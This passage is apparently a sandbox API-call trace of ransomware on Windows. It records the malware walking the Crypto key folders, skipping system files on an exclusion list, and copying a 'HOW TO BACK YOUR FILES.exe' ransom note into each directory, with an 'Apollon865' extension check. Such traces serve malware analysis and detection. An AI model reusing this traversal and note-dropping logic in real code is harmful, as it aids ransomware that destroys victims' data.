	[0085.035] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.036] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.036] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.036] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.036] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.036] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ffbe310, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ffbe310, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="Apollon865.txt.exe") returned 1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2=".") returned 1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="..") returned 1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="windows") returned -1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="bootmgr") returned 1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="temp") returned -1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="pagefile.sys") returned -1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="boot") returned 1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="ids.txt") returned -1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="ntuser.dat") returned -1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="perflogs") returned -1
	[0085.036] lstrcmpiW (lpString1="DSS", lpString2="MSBuild") returned -1
	[0085.036] lstrlenW (lpString="DSS") returned 3
	[0085.042] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\*") returned 37
	[0085.045] lstrcpyW (in: lpString1=0x119e650, lpString2="DSS" | out: lpString1="DSS") returned="DSS"
	[0085.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0085.099] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc8b0
	[0085.099] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b79b0
	[0085.099] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ff72050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.099] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.099] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Keys", cAlternateFileName="")) returned 1
	[0085.099] lstrcmpiW (lpString1="Keys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0085.099] lstrcmpiW (lpString1="Keys", lpString2="Apollon865.txt.exe") returned 1
	[0085.099] lstrcmpiW (lpString1="Keys", lpString2=".") returned 1
	[0085.099] lstrcmpiW (lpString1="Keys", lpString2="..") returned 1
	[0085.099] lstrcmpiW (lpString1="Keys", lpString2="windows") returned -1
	[0085.099] lstrcmpiW (lpString1="Keys", lpString2="bootmgr") returned 1
	[0085.100] lstrcmpiW (lpString1="Keys", lpString2="temp") returned -1
	[0085.100] lstrcmpiW (lpString1="Keys", lpString2="pagefile.sys") returned -1
	[0085.100] lstrcmpiW (lpString1="Keys", lpString2="boot") returned 1
	[0085.100] lstrcmpiW (lpString1="Keys", lpString2="ids.txt") returned 1
	[0085.100] lstrcmpiW (lpString1="Keys", lpString2="ntuser.dat") returned -1
	[0085.100] lstrcmpiW (lpString1="Keys", lpString2="perflogs") returned -1
	[0085.100] lstrcmpiW (lpString1="Keys", lpString2="MSBuild") returned -1
	[0085.100] lstrlenW (lpString="Keys") returned 4
	[0085.100] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned 39
	[0085.100] lstrcpyW (in: lpString1=0x119e650, lpString2="Keys" | out: lpString1="Keys") returned="Keys"
	[0085.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0085.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5983a8
	[0085.100] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7950 | out: ListHead=0x5b75f0, ListEntry=0x5b7950) returned 0x5b7c30
	[0085.100] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="Apollon865.txt.exe") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2=".") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="..") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="windows") returned -1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="bootmgr") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="temp") returned -1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="pagefile.sys") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="boot") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="ids.txt") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="ntuser.dat") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="perflogs") returned 1
	[0085.100] lstrcmpiW (lpString1="RSA", lpString2="MSBuild") returned 1
	[0085.100] lstrlenW (lpString="RSA") returned 3
	[0085.100] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys") returned 40
	[0085.100] lstrcpyW (in: lpString1=0x119e650, lpString2="RSA" | out: lpString1="RSA") returned="RSA"
	[0085.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0085.100] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcb18
	[0085.100] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7970 | out: ListHead=0x5b75f0, ListEntry=0x5b7970) returned 0x5b7950
	[0085.100] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0
	[0085.100] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.101] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7970
	[0085.101] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA"
	[0085.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0085.101] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0085.101] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned 39
	[0085.101] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA"
	[0085.101] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.101] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.102] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.102] GetLastError () returned 0x0
	[0085.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.102] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.102] CloseHandle (hObject=0x10c) returned 1
	[0085.102] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.102] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.102] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.103] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.103] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.103] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.103] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff72050, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.103] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.103] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.103] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.103] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.103] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2ff72050, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2ff72050, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0085.103] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0085.103] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="Apollon865.txt.exe") returned 1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2=".") returned 1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="..") returned 1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="windows") returned -1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="bootmgr") returned 1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="temp") returned -1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="pagefile.sys") returned -1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="boot") returned 1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="ids.txt") returned 1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="ntuser.dat") returned -1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="perflogs") returned -1
	[0085.103] lstrcmpiW (lpString1="MachineKeys", lpString2="MSBuild") returned -1
	[0085.103] lstrlenW (lpString="MachineKeys") returned 11
	[0085.103] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\*") returned 41
	[0085.103] lstrcpyW (in: lpString1=0x119e658, lpString2="MachineKeys" | out: lpString1="MachineKeys") returned="MachineKeys"
	[0085.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0085.103] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x5afce8
	[0085.103] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7970 | out: ListHead=0x5b75f0, ListEntry=0x5b7970) returned 0x5b7950
	[0085.103] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0085.103] lstrcmpiW (lpString1="S-1-5-18", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0085.103] lstrcmpiW (lpString1="S-1-5-18", lpString2="Apollon865.txt.exe") returned 1
	[0085.103] lstrcmpiW (lpString1="S-1-5-18", lpString2=".") returned 1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="..") returned 1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="windows") returned -1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="bootmgr") returned 1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="temp") returned -1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="pagefile.sys") returned 1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="boot") returned 1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="ids.txt") returned 1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="ntuser.dat") returned 1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="perflogs") returned 1
	[0085.104] lstrcmpiW (lpString1="S-1-5-18", lpString2="MSBuild") returned 1
	[0085.104] lstrlenW (lpString="S-1-5-18") returned 8
	[0085.104] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys") returned 51
	[0085.104] lstrcpyW (in: lpString1=0x119e658, lpString2="S-1-5-18" | out: lpString1="S-1-5-18") returned="S-1-5-18"
	[0085.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0085.104] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x62) returned 0x5afd58
	[0085.104] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7b70 | out: ListHead=0x5b75f0, ListEntry=0x5b7b70) returned 0x5b7970
	[0085.104] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
	[0085.104] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0085.104] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7b70
	[0085.104] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0085.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd58 | out: hHeap=0x580000) returned 1
	[0085.104] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0085.104] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned 48
	[0085.104] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18") returned="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18"
	[0085.104] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0085.104] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0085.105] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0085.105] GetLastError () returned 0x0
	[0085.105] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0085.105] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0085.105] CloseHandle (hObject=0x10c) returned 1
	[0085.105] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0085.105] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0085.105] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0085.106] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.106] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0085.106] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0085.106] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfc65d150, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0x2ff981b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2ff981b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.106] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.106] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0085.106] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0085.106] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0085.106] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xfc767af0, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xfc767af0, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xfc767af0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", cAlternateFileName="6D14E4~1")) returned 1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="Apollon865.txt.exe") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2=".") returned 1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="..") returned 1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="windows") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="bootmgr") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="temp") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="pagefile.sys") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="boot") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="ids.txt") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="ntuser.dat") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="perflogs") returned -1
	[0085.106] lstrcmpiW (lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpString2="MSBuild") returned -1
	[0085.106] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0085.106] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*") returned 50
	[0085.106] lstrcpyW (in: lpString1=0x119e66a, lpString2="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" | out: lpString1="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"
	[0085.106] lstrlenW (lpString="6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 69
	[0085.106] lstrlenW (lpString="Apollon865") returned 10
	[0085.106] lstrcmpiW (lpString1="9ec416e53f", lpString2="Apollon865") returned -1
	[0085.106] lstrlenW (lpString=".dll") returned 4
